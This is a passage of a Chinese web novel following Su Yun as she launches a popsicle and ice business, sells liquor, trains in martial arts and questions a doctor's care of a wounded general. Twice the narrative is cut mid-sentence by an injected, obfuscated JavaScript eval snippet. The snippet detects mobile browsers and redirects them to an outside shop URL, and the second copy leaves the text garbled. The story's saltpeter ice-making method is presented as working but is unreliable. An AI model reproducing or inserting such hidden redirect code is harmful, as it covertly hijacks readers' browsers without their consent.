朱县令要开口，苏云道：“大人这就要回去了？本该请周大人一行吃个便饭，奈何柳河庄实在贫瘠，真是对不住大人了。侄女这里有四瓶好酒卧云醉，也是好不容易得到的，两瓶给大人解乏，两瓶带给家父，望王大人莫嫌寒酸，收下侄女的心意。”说着，王嬷嬷上前，递过去竹篮。 朱县令赶紧帮腔：“卧云醉可是难得一遇的好酒，据说产自千里之外，产量有限得紧，县城里可是按杯售卖的。” 众人面前，周大人本不欲收，但苏云称是带给侯爷，也只是两瓶酒，女儿送父亲礼物，料也无妨。暗想酒水虽不值钱，但是礼数周到，苏云做得滴水不漏，心下也是有些佩服。又听朱县令的赞美，于是让随从接下了，道：“小姐有心了，定当向侯爷如实转达。” 然后一群人呼啦啦汇集起来，朝桥上走去。 苏云总算舒了一口气，带着王嬷嬷回到了院子。那些庄户还在兴奋地议论，毕竟从来没见过这么大的官，够吹一辈子了。 回到院子里，厨娘叫着开饭了。只见阿牛和何大壮汗流浃背的走出来，李三娘也是衣服都湿了好几块。就想着给他们弄点冰水。 于是拿出一些果脯，切成小粒。将水倒在盆里，再加上糖霜，将果脯颗粒也倒了进去，搅拌一阵后，倒进几个茶杯里面，插上几根竹棍，再把茶杯放在一个装清水的盆里，撒上硝石，不久，清水盆里就结冰了，茶杯里的糖水也结成了冰。 然后将茶杯拿出了，把里面的冰抖出来，就成了原始的冰棍。装在两个盘子里，一个盘子让娟儿拿去，让院子里面每个人都拿了一根。另一个盘子则让王嬷嬷送到作坊去了。 看着大家吃得挺欢，苏云暗想：天气越来越热，明天拿到制冰的器具后，就准备开始大展宏图了。 苏云让娟儿去请来庄头，庄头很是高兴，因为一旦龙女召见，多半都有新的营生，于是忙不迭就到了，见礼后，问道：“见过龙女，不知龙女可是又有了新法子？”苏云让娟儿将剩下的一根冰棍给庄头，庄头很是吃惊：“天气此等热，如何就有冰块？” 苏云笑道：“你先尝尝。”庄头咬了一口，顿觉满口冰凉。 苏云道：“这是冰棍，是我的捣鼓一种吃食，准备在城里售卖。你去问问有谁愿意作此买卖的，到你那里报个名，总共只要十个名额。” 庄头道：“莫非龙女在这里做好冰棍，让他们拿到城里去卖？” 苏云道：“这样自然不行，走那么远，只怕冰都化成水了。我是这样计划的。你先统计好，后日辰时集合去城里，到作坊里去取冰棍，一取就是一箱，一箱有百十来根，然后他们就在城里售卖。” 庄头道：“还是龙女想得周到，就这样，我去问问谁愿意去。” 苏云道：“这个冰棍生意，我的预料应该是不错的。想做的人应该很多。我建议还是由你在报名的人里面进行轮流安排，每天只有十个名额，每家只能出一人，务必每家都能照顾到，若是不愿去的，也不用勉强。还有，切记要秉公安排，不然容易出乱子，到时候就不好收场。” 庄头道：“谨记龙女教诲，小的这去问问。” 快到晚饭时分，庄头来报：“刚才问了一遍，有三十二家愿意，这是名单。”苏云道：“我不用看，你自行安排就好。总之每日十个，三日一轮回。” 次日一早，苏云和王嬷嬷将阿牛他们做好的二十多坛提纯酒放上牛车，然后告诉娟儿今日就在县城住，不回柳河庄；明日辰时，带他们去城里院子来领冰棍。 到了城里，苏云先将提纯酒搬到了新宅里面，然后来到制冰的院子，一进门，婆子杨氏就看见了，忙上前道：“小姐一大早就来了，快进来喝杯茶。”苏云道：“大为可在？”只见黎大为从房间里出来，道：“小姐早上好，一大早就到了。” 苏云道：“今天事情很多，我早些过来处理。木牌做好了吗？制冰的器具是不是今天就可以取了？”黎大为道：“都是今日去取。” 苏云道：“好，早些拿回来，我在这里等着。还有，有没有富户预定冰块的？”黎大为道：“谈过好些，都在考虑，目前只有两家预定，一家每日十斤，一家每日二十斤。” 苏云道：“很不错了。先做着再说，今年天气有些炎热，后续肯定还会有不少。定制的制冰器具你先去催一下，让他们赶快送过来，这边剩下的你就暂时不用管了。新宅那边到了提纯酒，你和陆平去先灌装好。二十五小坛能装五百瓶，每瓶不能低于二十两，总价估计能在一万上下，这个最重要，是我们准备进京的资本。” 黎大为叫上陆平，赶紧出门去了。 苏云把杨氏一家叫过来，道：“今日开始，我们就要制冰。这个制冰的方子是绝不能外传的，方子也只有你们家知道，丑话说在前面，只要临川县外面有别人知道了，你们一家人就不可能再像现在一样团团圆圆，而是会被分开成五处发卖，这辈子怕是不可能再见面了。” 众人听得心惊，想想现在的日子，虽说是奴仆身份，但是苏云其实并没有怎么管他们，不愁吃穿，日子过得何等舒服，甚至比以前自由之身都好了许多。要是真的被分开发卖，以后的日子，估计天天都要以泪洗面了。 杨氏一家人急忙表忠心：“小姐放心，我们一家人对天发誓，绝不会泄漏半点。”说完，一家人全部跪下，对天发誓。 苏云点点头，道：“当然，这是最坏的情况。只要你们忠心不二，我自然不会也不会亏待你们。虽说签了身契的下人不能有私产，我却不是这样想。我在此也发誓，只要你们尽心尽责，不卖主求荣，贪墨主家财产，我会按照常人的工钱算给你们，等张良长大成人，我会把身契发还给他，让他体面的娶妻生子。” 杨氏听的老泪纵横，大鹏和妻子余氏更是感激不尽，纷纷含泪道谢，只有张良还有些懵懂，搞不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205754|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚原因。 苏云见差不多了，道：“都起来吧，一会我就安排各自做什么。” 正好外面有人叫门，原来是前面定制的器具到了。大鹏二鹏和余氏，都急急去搬运。 苏云领四位进了后院，把张良留在外面，主要是张良太小，怕知道后，无意中把方子泄露出去。余家众人也理解，关上院门，让张良就在前院玩，不要出门。 苏云指挥将器具安排好，硝石已经研磨成粉，苏云道：“我们要分成两种来制冰，第一种很简单，我先操作给你们看看。” 于是一边做一边讲：“先将水装进这个大铁盆，铁盆有一面有刻度，满上相对应的刻度，就会是相应的重量，每个刻度相差五斤，要记住。好，二鹏，你先倒进十斤试试。”二鹏就从缸里舀了几盆水倒进铁盆。 苏云先将一个大碗用称称了一下，记住重量，然后从大口袋里用碗舀出一瓢硝石粉，放在碗里称中，一点点增减，合适后，将硝石粉均匀洒在水了，搅拌了一阵，慢慢的，只见铁盆里的水逐渐变冷，慢慢凝结起来。 张大鹏一家看得目瞪口呆，简直不敢相信。 苏云道：“这就是制冰的过程。关键就在冰灵粉和水之间的比例上面，一斤冰灵粉，要配差不多五十斤的水。只要比例得当，就可以成冰。对了，你们谁会算比例？” 众人摇头，只有二鹏有些不肯定道：“小姐，我大概听懂了，要不我试试？”苏云道：“好，我问你，二十斤的水，需要多少仙灵粉？” 二鹏心中算了算道：“二十斤水，应该是四两那个仙灵粉，小姐看对吗？”苏云点头，然后道：“是的，那么二十四斤呢？”二鹏道：“应是四两八钱。”苏云道：“好，总之就是一两仙灵粉配五斤水，以后你多练习，仙灵粉和水的配比就交给你了。”二鹏笑着答应了。 苏云道：“大鹏二鹏，你们先自己做一次吧。”大鹏二鹏大铁盆里的并取出后，又舀了了一些水进去，大概十五斤左右，二鹏算好比例，将仙灵粉倒入，搅拌均匀，不一会儿，铁盆里的水也慢慢凝结成了冰。张家人脸上都露出了成就感。 苏云道：“这是第一，比较简单，每天送富户家的冰块就用这种。下面来说冰棍的制作。”苏云拿出一个器具，是铁制的长条盒子，打开盖子，两面都有小格子，下面的深一些，上面的很浅，上面很多小方格，然后把木棍放在一边。 苏云道：“这个深的格子里也有刻度，里面的水不能超过这个刻度，稍微少一点没事，因为水变成冰之后，会变得更大一些，所以最好不要超出。”又拿起一个小勺子，有点像掏耳朵的勺子，只是略大一些。苏云道：“每根冰棍的冰灵粉用量就是这样一个小勺，都已经配置好了的。” 只见苏云先将清水装在一个细嘴铁壶里，用壶嘴将水灌进铁盒，到刻度是就停止，再灌下一个，一排灌满后，依次倒进糖霜，撒上果脯末，又用小勺子舀了一勺冰灵粉，用小棍抹平，倒在上面小格里面，然后把盖子翻过来扣上，摇了摇，再打开，迅速拿起木棍，一个格子一根，很快插完。不一会，里面的水都凝结成了冰棍。用一个长条形的盒子放在下面接住，苏云将冰棍盒子倒过来，拍了几下，冰棍就全部掉进了下面的铁盒子里面。 苏云到：“你们尝尝看。”众人人心中满是好奇，拿起冰棍，放在嘴里，感觉又冰又甜。见余氏看了看自己，知道她的想法，主动道：“你拿两根给良哥儿也尝尝。”余氏大喜，拿起两根就跑出去了。 苏云道：“做冰棍要注意两点，一是格子里的水不要超过刻度，二是插棍子的时候一定要快，如果慢了，结成冰就插不进去了。还有两点要注意：做冰棍的水一定要新鲜，大缸里如果超过两天就不能再用了，要重新打井水；如果冰棍做多了卖不完，化成水之后，也不能再要了，一定不能用这个水再做冰棍，不然会拉肚子。”众人都纷纷记下了。 苏云让大鹏二鹏也各自做了一遍，基本成功。苏云满意，又让大鹏拿过一个装冰棍的木箱，木箱正面可有几个字，上面是柳河庄，下面是一个大大的冰字，涂成红色，显得格外醒目。打开一看，里面还有一个铁皮做的框子，木箱和铁皮之间有一点空隙，填满了棉花。铁皮箱上联还有两块盖板，可以推动，这样就能最大限度保持里面的温度。 苏云到道：“这个就是用来售卖的冰棍箱，做好冰棍后，整齐地码放进去，一个箱子能放九十根。装满的情况下，能保持差不多五个时辰不会化掉，但是里面冰棍越少，或者盖子打开的次数越多，能保存的时间就越短。” 然后指着屋角大箱子，道：“这个箱子原理一样，如果怕来不及，可以先做一些放到里面，小贩来拿，可以直接捡给他，但是不能放太多在里面，怕保存不了多久，那就浪费了。” 苏云道：“现在重点来了，相信你们都会喜欢。你们仔细听着，以后每做一箱，就有五文的工钱，每天都可以结账。你们可以攒起来，等日后积多了，二鹏成亲，良哥儿娶妻，这就是你们自己的聘礼，我绝不干涉。” 一家人听得大喜，扑通一声跪下，苏云不耐，忙道：“让你们以后不要跪拜，你们再这样，这五文一箱的工钱可就没有了。”众人知道苏云在说笑，也只得起来。 苏云又道：“明天的冰棍，每箱里面要放五十根只有糖霜的，四十根有果脯的，糖霜的每根算三文，果脯的每根算四文。二鹏，你识字吗？” 二鹏不好意思摇摇头，苏云暗叹可惜，只能让王嬷嬷或者娟儿先记账了。 25. 第 25 章 25、冰棍很火 卯时四刻，大鹏一家全部起床，只有良哥儿还在睡觉，大家也没有惊动他，各自忙开了。婆子杨氏忙着做饭，余氏打扫院子，大鹏二鹏去作坊检查准备的东西。 苏云也不打坐了，直接到作坊去看看，杨氏做好饭，大家匆匆吃过，就跑到作坊各自忙碌。作坊分为三个工作台，每个工作台上都有一套制冰器具。 苏云为了提高效率，就让大鹏夫妇只制作糖霜的，要做五百个，二鹏专做果脯的，要做四百个，而杨氏则负责装箱。作坊里一片忙碌景象。 堪堪要做完的时候，就见娟儿带着庄头和庄户来了，庄户们脸带期望之色，满眼新奇，兴奋不已。余氏抱了一盆冰棍出来，每人给了一支，更惹得大家一阵赞叹。 苏云摆手让大家静下来，大声道：“各位，动嘴吃就行，别动嘴说话了。”大家一阵笑。 苏云等大家笑过，继续道：“今天请大家过来，就是要大家去卖现在嘴里吃着的冰棍，每个人有一箱，每箱九十支。”苏云让大鹏抱出来一个冰棍箱，给大家看看。 苏云到：“每箱里面有两种味道：一种是糖霜的，一种是果脯的，就是你们现在吃的这种。记住，糖霜的，每支价格批发是三文，你们售卖是四文一支；果脯的每支批发四文，你们卖五文一支，全部都是统一价格，不准随便加价，也不能随便降价。也就是说，如果你们卖掉一箱的话，可以赚九十文钱。” 众人一听，眼睛放光，就算是出来打工，一天也不过十五、二十文而已，卖掉一箱就可以赚九十文，真是想不到。 苏云笑道：“如果你们不怕丢面子，敢吆喝，嘴巴甜，勤于跑腿，善于发现好卖的地方，一天卖掉两箱都是可能的。”众人更是大哗。 “大家不要着急，第一箱卖完之后，可以马上回来拿第二箱，我们不再规定一箱要多少糖霜的，多少果脯的，而是你们要什么，我们就给什么，要多少支，我们就给多少支。不过大家不要贪心，一定要记住，第二次来拿的，拿多少，你就要卖多少，卖不掉的不能退，所以你们要量力而行，不要浪费，免得赔钱。” 苏云又道：“都是柳河庄出来的乡亲，城里做点小买卖不容易，所以不能和别人发生争吵，也不能相互之间争地盘，若是发生这种事情，以后就不用来了，切记！” 庄头也大声道：“这是龙女给大家的机会，好好做，不要给龙女丢脸。” 众人排好队，王嬷嬷每人发了一块木牌，道：“每人领一箱，先登记好，也不用花钱，等卖完再来结账。记住，不管卖没卖完，最后都要把冰棍箱拿回来结账。” 一阵忙乱之后，众人总算每人领走了一箱，庄头不放心，也跟着人们出去了，他主要去看看情况如何，也督促他们不要惹事。看着他们充满希望，又有些茫然的眼神，苏云也有些没有底。虽然苏云自己知道冰棍肯定会受欢迎，价格也很亲民，但究竟会怎么样，还真不敢说。 大家总算忙过了一阵，苏云叫来大鹏两兄弟，道：“今日还要送冰到张员外和李大户家，等到了巳时四刻左右，你们把冰块做好，按照重量给他们送过去，每家再送他们四支冰棍。在午时，可以先做一些冰棍放到大冰柜里。尽量让他们重新来拿冰棍的时候，有货给他们。” 说罢，让王嬷嬷看着，自己回房打坐去了。 打坐完毕，已到了午饭时间，大鹏二鹏送冰回来，也做了差不多两箱的冰棍放着。二鹏很聪明，怕大冰柜里冰棍不多，温度流失快，就做了一块大冰先放到冰柜里，再把用两个铁盆装上冰棍，放在冰上，这样能保持温度的时间更长了。苏云知道后大加赞赏了一番。 几人正吃着饭，一个庄户兴冲冲跑回来，要求再拿冰棍。二鹏和王嬷嬷赶紧起身去了作坊，这次他要了七十支果脯的，二十支糖霜的，看来果脯的更好卖。王嬷嬷一边收钱，一边登记，大鹏则快速装冰棍，很快，庄户抱起冰棍箱一溜烟跑得飞快，时间就是钱啊！ 二鹏和王嬷嬷回来接着吃饭，大鹏夫妇已经吃过饭，来不及说什么，赶紧去了作坊制冰，看样子，今天的效果不错，得预先准备几箱才行。 太阳升得老高，越来越热，刚吃过午饭，又有两个庄户急急忙忙跑来拿冰棍。苏云见他们有条不紊，也就放心，回房小憩一会儿。 出来之后已是未时三刻，见庄头也在，便问情况。 庄头面带喜色，道：“龙女的冰棍颇受欢迎，都说价格不贵，孩子喜欢，还有些大户人家的丫鬟专门来为家里的主子买的，一买就是好几根。现在已经有七个庄户拿了第二箱了。” 说到这里，庄头面色有些扭捏，笑声道：“就是不知道龙女是否还有多的冰棍箱？” 苏云明白了他的意思，道：“你不早说，还有两个，若是庄头有兴趣，也可以拿一箱去试试。”庄头大喜。 苏云心中想着黎大为那边的提纯酒，见这边井然有序，便带着娟儿到了新宅，娟儿大吃一惊：“小姐，你又买院子了？”苏云道：“是啊，现在人越来越多，事情越来越多，没有新宅子，安排不下的。”两人开门走进院子，只见院子里面空无一人，后院里整齐码放着已经灌装好的提纯酒，明显少了一些，想是已经卖出去了。黎大为现在不在，肯定又去找买家了。 苏云回到冰宅，见大家基本已经忙过。良哥儿嘴里正吃着一支冰棍，看到苏云进来，笑着转身就跑开了。 苏云笑笑，没说什么，王嬷嬷上前汇报：“小姐，十个庄户都已经拿了第二箱，估计后面还会有两三个售卖快的，还会回来要一些。” 正说着，一个管家模样的人敲门进来，问到：“请问这里是柳河庄的冰铺吗？”王嬷嬷赶紧迎上去：“正是，您请进，请问是有什么事？” 管家模样的人道：“是这样，鄙人是李老爷家的管事。后日夫人要过寿辰，邀请宾客，今日吃了你家送的冰棍，觉得甚是合口味，能不能后天送两箱到家里？”王嬷嬷道：“贵人能中意我家冰棍，自是我们的荣幸，哪有不可之理？我们这就细谈。” 送走管家之后，王嬷嬷道：“小姐，是李大户家夫人后日过寿辰，要送两箱果脯冰棍过去。”苏云道：“甚好，你安排就是。” 苏云叫来大鹏道：“大鹏，你现在去铁匠铺，马上去定制两个冰棍箱，后日李大户家正好用上。他们若是自行保管冰棍，装在瓷盆、装在桶里面都不保温，若是化了，难免会怪罪到我们的冰棍，到时候先借给他们用，等晚上用完再去要回来。”大鹏领命去了。 正说着，庄头和两个庄户回来了，只见两个庄户满头大汗，脸色却异常兴奋，又去要冰棍。 苏云笑道：“又卖完了？”一庄户道：“托龙女的福，第二箱卖完了，看天色还早，再来拿一点。”苏云道：“看样子最多还能卖一个时辰，你算好，不要那太多，若是卖不完，那可就烂在自己手里了。” 庄户笑道：“不妨事，若是卖不完，正好自己吃几支。”说罢就去领冰棍去了。 苏云对庄头道：“你不再拿几支？”庄头笑道：“我就不拿了，今日也得了九十文，不错了，再等一阵，我等他们卖完，在这里集中，然后一起回庄子。平日很难出庄子，怕出什么问题，不放心。” 苏云对庄头知足常乐，认真负责的态度很是佩服，便道：“张叔有心了。我这就要准备回庄子了，若是你走的时候，黎大为回来，你让他给我带张条子回来，没回来的话，你就不用管了。”就让庄头一边去喝茶等着。 苏云对娟儿道：“你也看到了，我这里现在忙得一塌糊涂，人手是不够的，光靠王嬷嬷，肯定不行，以后你也要多学习，给我顶起来。”娟儿大惊，道：“我能做什么？”苏云道：“今天王嬷嬷记的帐，你能不能做？”娟儿想了想，道：“应该也可以。”苏云道：“那你今天就不要回庄子了，明天就由你记账。你现在就去找王嬷嬷，让她给你说说。”娟儿嘟着嘴，不愿去，看苏云脸色认真，于是不情愿找王嬷嬷去了。 过了一阵，王嬷嬷过来，苏云道：“都教她了？”王嬷嬷道：“应该没什么问题，只是明天独自记账，怕难免会出错。”苏云笑道：“无妨，就是要她独自历练，出错不要紧，关键是要能把事情撑起来。没事了的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏云接过字条，道：“有劳张叔了。”庄头道：“顺便的，不敢，若无事，我便告辞，明日重新去一批人，还得带他们进城来。” 卖冰棍的庄户回到庄子上，少不得引起一阵惊叹。孙大旺腰间系着沉甸甸的布袋，匆匆朝家奔去，只见妻子刘氏正抱着小儿子在门口张望，看见孙大旺回来，赶紧迎上去，一边笑道：“当家的回来了？”小儿子也伸出双手：“爹爹抱。”孙大旺停下来，笑呵呵地接过儿子，抱在怀里，忍不住亲了小孩一下脸颊，小孩被孙大旺的胡茬刺得有些痛痒，赶紧把头别过去，惹得孙大旺笑声更大。刘氏嗔怪了一下，高高兴兴和丈夫一起走进了家门。 刚进门，刘氏就把院门关上，急切问：“当家的，今天收获怎么样？”孙大旺不理，只是笑笑，大步走进屋里，刘氏也快步跟了进来，着急道：“到底怎么样，你倒是说说啊！”孙大旺将儿子递给刘氏，倒了碗水，一口气喝了，才把腰间的褡裢取下来，放在桌上。刘氏赶紧将儿子放在床上，一把抓过褡裢，抖了抖，只见铜钱哗啦啦到了出来，在桌上好大一堆。刘氏兴奋道：“一天就这么多？有多少？”孙大旺有点小傲娇：“你猜猜看。”刘氏道：“怕是有八十多文吧？”孙大旺笑道：“啥子眼神？一百五十四文。”刘氏惊叹：“一天就挣了七八天的钱，真不错。”孙大旺道：“我不算什么，人家李二家的，今天赚了两百二十多文呢。” 刘氏是个知足的，道：“也很不错了，要是每天都能去卖就好了。”孙大旺道：“没事，三天就能轮换一次，要不晚上我把枕头让给你吧。”刘氏疑惑道：“怎么了？”孙大旺道：“让你做个好梦啊！”刘氏嗔怪地啐了他一下道：“你饿了吧？饭菜已经做好了，我去端上来。”孙大旺摩挲着桌上的铜钱，看着忙碌的媳妇，逗着可爱的儿子，只觉得日子有了奔头。 这个晚上，去卖了冰棍的庄户家里几乎都上演着同样的情景，洋溢着满足的氛围，明天要去城里的庄户更是充满了期待。 苏云小院 苏云展开纸条看起来，原来黎大为昨日灌装之后，便去找万红楼卖掉了一部分酒，今日一早就去了杨家村，看了红色和蓝色酒瓶的样品，也是相当不错，虽贵一点，也就自己做主定了，后日就可以交货。晚上还要去看看一些饭庄，总之要把那些酒卖完再回柳河庄云云。 26. 第 26 章 26、少年将军 翌日，苏云早起，因诸事都顺畅，也不用担心什么，便打起坐来。这一次，明显感到丹田里的内息都够完全集中，像一个跑跑跳跳的小耗子，在意念的指挥下，顺着经络跑遍全身。到底有些孩子心性，觉得好玩，不由指挥内息在体内运转了好多遍。 苏云将这种感觉告诉了林二伯，林二伯笑了笑，并不惊奇，前几天就已经估计到这种情况了。 苏云道：“林二伯，我现在这个样子，下一步该干什么呢？” 林二伯道：“你以后想干什么？” 苏云道：“就是喜欢，希望以后能够自保就行，并无什么别的打算。” 林二伯道：“如此绝世天赋，竟没有称霸武林的大志，委实可惜。若要实现自保，那简直太容易了。你具体说说你想学什么？” 苏云道：“我也不清楚有些什么。我想身轻如燕，来去自如，还想像林二伯的清风一指，伤人于无形。” 林二伯到：“身轻如燕，年内即可；但要清风一指，却不是一蹴而就的，须看个人造化。我先看看你的成果，跟我来。” 苏云随着林二伯来到后院，见四下无人，道：“你应该好久没有练习掷石子了吧？你现在试试。” 苏云捡起一块石子，也不用瞄准，一扬手，石子脱手飞去，正中靶心，奇怪的是，以前都是石子中靶之后就掉在地上，这一次却是石子洞穿靶心，钉到了后面的围墙里面，显然是力道猛涨。 林二伯抚了抚胡须，看着惊得呆如木鸡的苏云，脸露微笑，带着苏云来到树下，指着上面一片黄叶道：“你看那张黄叶，太难看了，你把它拿下来吧。”看起来有一丈左右高，苏云十二三岁的个子，差得太远，于是道：“好，我这就去搬梯子。” 林二伯道：“傻孩子，我是让你跳上去摘。” 苏云道：“太高了，我拿不到的。” 林二伯道：“这样吧，你看下面还有一张黄叶，你先摘下来吧。” 苏云见要低一些，暗忖还是够不着。林二伯看出她的想法，道：“不着急，你先站定，调动内息到双腿，双腿略弯，然后用力一蹬，跳上去摘下来。” 苏云果真闭目调息，将内息转到双腿后，睁开眼，双腿用力一蹬，飞似的跃起，头都快碰着黄叶了，却忘了伸手去摘，心理一慌，瞬间又掉了下来，差点没站住，惊喜之余，好不尴尬。 林二伯看着苏云，微笑不语。 苏云明白了，自从练习了内息之后，好像是变化挺大的。以前练习掷石子，准头不错，只是老觉得力道不够，但刚才轻轻一下就洞穿靶心，应是内息的作用。刚才这一跳，比平时不知道高了多少倍。 于是重新调息运气，然后纵身一跃，身子腾空，摘下了黄叶，轻轻落地，心里好不惊喜。 林二伯道：“看到了吧，这就是练习内息的好处，虽说现在还谈不上身轻如燕，不过无需多久，飞檐走壁就可就不在话下了。” 苏云大喜，真诚道：“真是多谢林二伯了。”林二伯道：“我们能有这番际遇，虽无师徒名分，也终归是我们有缘。想老身纵横江湖一辈子，哪一日过得不是提心吊胆？自从跟了小姐，吃穿不愁，天天美酒相伴，和大家和睦相处，更有宝儿绕膝，想来天伦之乐说的就是这种光景吧？”言下之意，对现在的生活甚是满足。 苏云看出一点门道：“不知宝儿资质如何？”林二伯道：“许是受她外婆影响，宝儿资质尚可，不过和你相比，则是天上地下了。先不说宝儿，若是要防身，你想学什么兵器？” 苏云自己也不明白。林二伯道：“想你侯府千金，平日若是带刀带剑，怕是有损观瞻。依二伯所见，莫若用软鞭，一寸长一寸强，平日可束于腰间，旁人看不出，动手时取下，很是方便。” 苏云大喜：“林二伯考量得极是，不知要什么样的软鞭合适？”林二伯道：“我心里已有计较。你可先自己试着做一根，明日我会给你一个册子，你先照着练习。过几日我会出庄子，少者一月，多则三月，到时自然会给你寻回一根绝世好鞭。只是须得带上你的几瓶好酒。” 苏云道：“劳老林二伯操心，几瓶好酒，不值一提。” 林二伯告辞，一会宝儿颠颠跑过来，给了苏云一张纸。苏云见宝儿模样可爱，捏了一下他红扑扑的脸蛋，王嬷嬷给了宝儿两块糕点，宝儿拿着糕点不好意思跑开了。 苏云看看手里的图纸，原来是软鞭的构造、材料、还有尺寸标注等。当时的兵器并不可随意锻造，长刀、枪、戟、铠甲等，都是管控之列，只有剑可造，鞭更不在管控之中。 次日一早，饭后，又见宝儿屁颠颠跑过来，递给苏云一本小册子，说是林爷爷给小姐的。苏云一看，封面上写着《檀云功法之三十二路追风鞭法》墨迹尚新，应该连夜赶写出来的，心下好生感动。 苏云柔声对宝儿道：“你回去告诉林爷爷，说小姐谢谢他老人家，另外，我今天要进城，务必等我回来再说。”说罢，干脆把那个桌上的一盘糕点都给了他。宝儿高兴得直点头，端着盘子连忙跑了。 苏云心急，带上王嬷嬷和莺儿，装上已经做出的十多小坛蒸馏酒，急匆匆赶往城里，先去新宅放好酒坛，就来到铁匠铺。还是那个肌肉壮实的师傅，看着苏云给的图纸，道：“软鞭不受管控，可以做。以前也做过软鞭，只是这个软鞭材料不是很好配齐，做工也及其讲究，尤其是鞭柄，构造很是细致，若是要做，至少一百八十两。” 苏云道：“价格不是问题，只求尽快做出来。” 铁匠师傅道：“急不来，须得配齐材料才行。这样吧，少则五日，多则十五日，你看如何？” 苏云无法，道：“十日以后一百八十两，以十日为界，每提前一日，我加十两，但需保证鞭子质量不变。” 铁匠师傅大喜：“好说，我就寻材料去。” 苏云见有师傅正在制作冰棍箱，问道：“这冰棍箱几时可以交付？” 师傅回头看了看：“昨日定制的，今日打烊以前能送过去。” 苏云道：“若是软鞭做好，也请送到那个院子去。” 师傅道：“好说。” 三人往院子走去，路上看见两三个庄户在叫卖冰棍，一群小孩在围着，生意也不错，庄户们看见苏云，也热情打着招呼，还硬塞给莺儿一根冰棍。 突然，一对人马疾驰而来，苏云三人赶紧让到一边，原来是一群士兵，抬着一个受伤的大汉急奔过来，一个领头的少年将军在前面带路，直奔不远处的医馆。担架从苏云身边过去，只见担架上趴着一个大汉，赤裸上身，左肩背部缠着白布，白布上渗出一片血迹。 到了医馆，少年将军轰走了看病的客人，朝着一个中年郎中大步走过去，一边走一边急声道：“大夫，请帮忙看看将军的伤势。”郎中唬了一跳，见是官爷，知道得罪不起，赶紧起身，来到担架旁，简单看了一下伤势，然后开始把脉。苏云好奇，也跟着大家挤在人群里观看。 把完脉，又蹲下去，看看大汉的面色，问少年将军：“将军昏迷多久了？”少年将军道：“前日就有些糊涂，昨日已经昏迷一日了，高烧不退。”郎中起身道：“可否将白布解开？”少年将军点点头，一个士兵上去揭开了白布，只见长长一道伤口，应是刀砍所致，伤口两侧肉都往外翻，有些已经发白，应该有些化脓了，发出一股子烂肉的臭味，整个伤口甚是吓人，围观的百姓都忍不住发出惊叹。 郎中道：“受伤几日了？”少年将军道：“已有十多日，本应好生治疗，无奈圣上急诏赴京，只简单处理就上路，又经过七八日的疾驰，终于倒下了。”郎中道：“受伤救治不及时，还连日奔劳，致使伤口化脓，高烧不退。刚才已经把脉，内腑应该还没有伤及，现在需要赶紧处理伤口，并让高热退下来，若再烧一两天，只怕内腑受损，神仙难救。” 少年将军急道：“一切听从大夫安排，就请大夫赶紧治疗吧！” 只见郎中快速写下了一个方子，交给小厮去煎药，又让小厮端来一盆盐水，拿来一把小刀，用一块白布放在盐水里浸泡，然后用白布抹了一下小刀，算是消毒。又用白布蘸盐水清洗伤口，然后用小刀小心剔除腐肉，再用盐水清洗一遍后，就洒上金创药，用一块白布包裹起来。 苏云在旁边直摇头，剔除腐肉是没问题的，但是伤口太大，不缝合，就这样包扎伤口，只怕没有什么用，而且盐水虽有一定的杀毒功效，但如此大面积、如此深层次的感染，只怕效果也是微乎其微，而且白布也没有消毒就直接使用了。 处理完毕，正好煎的药端了上来。少年将军命人将伤着抬起，翻过身，将药灌了下去。 做完这一切，郎中抹了一下额头上的汗，道：“老夫已然尽力，若是明日烧退，病人醒来，那就还有救，若是一直昏迷不醒，老夫也就无能为力了。” 苏云在旁，忍不住说了一句：“明天只怕也醒不过来的。” 少年将军大怒：“是谁？站出来。” 苏云站出来行礼：“在下苏云，见过将军。”少年将军见是一个小女孩，便收了一些怒气，仍是不悦：“你懂医？” 苏云道：“略懂一二。”中年郎中甚是不爽：“小小孩童，也懂医术？老夫哪里做得不对了？” 苏云道：“大夫妙手仁心，手法纯熟。只是伤口过大，需得缝合，只是这样包扎，只怕难以奏效。且盐水消毒，疗效甚微。若是不信，明日便可见分晓。” 中年郎中不服气道：“荒唐，从未听说过伤口可以缝合。” 苏云不理。少年将军终是不放心，道：“那该如何处理？”苏云道：“已然包扎，多说无用，只待明日即可见分晓。” 少年将军：“若是明日不能退烧，还能不能救？” 苏云道：“病势沉重，自是越早越好，明日我可不敢说。” 少年将军一时没了主意。 苏云道：“这样吧，就算要重做，还需要准备很多东西，一时半刻也做不了。若是明日一早没有退烧，马上重做，只能是死马当成活马医，是否有效，全看老天。” 少年将军面色稍缓，心想毕竟多一个选择总是好的，便道：“那请小姑娘赶快去准备好材料吧。” 苏云道：“若要准备材料，还需将军帮忙。”少年将军道：“姑娘请说。” 苏云道：“马上去找新鲜羊肠，清洗干净，然后切成很细的条状，就像缝被子的线，越长越好，多准备几根，阴干备用，现在天气热，应该来得及；还需要将军快马加鞭，去柳河庄取消毒的水，并接一个绣娘过来。” 少年将军道：“这个容易。”吩咐手下去找羊肠，没有新鲜的，就马上杀一只。 苏云小声对莺儿道：“你随兵大哥回去，找到阿牛哥，让他拿一坛提纯酒，再重新蒸馏两遍，然后让兵大哥带来。你还要跟绣房的杨婶子说，让她也随兵大哥一起进城来，记得要带几颗缝衣针。” 一个士兵牵了一匹马来，士兵把莺儿抱上马，然后自己也翻身上马，急驰而去。 苏云本来想叫王嬷嬷去的，怕莺儿年龄小说不清楚，但想到共乘一马，多有不便，莺儿年龄小，倒也不用忌讳那么多。至于人选，最初想到的是何小花，也是因为何小花一个妙龄少女，给男人缝伤口，只怕更不方便，所以还是觉得杨婶子比较好。只是杨婶子怎么回来，就让他们去想办法吧。 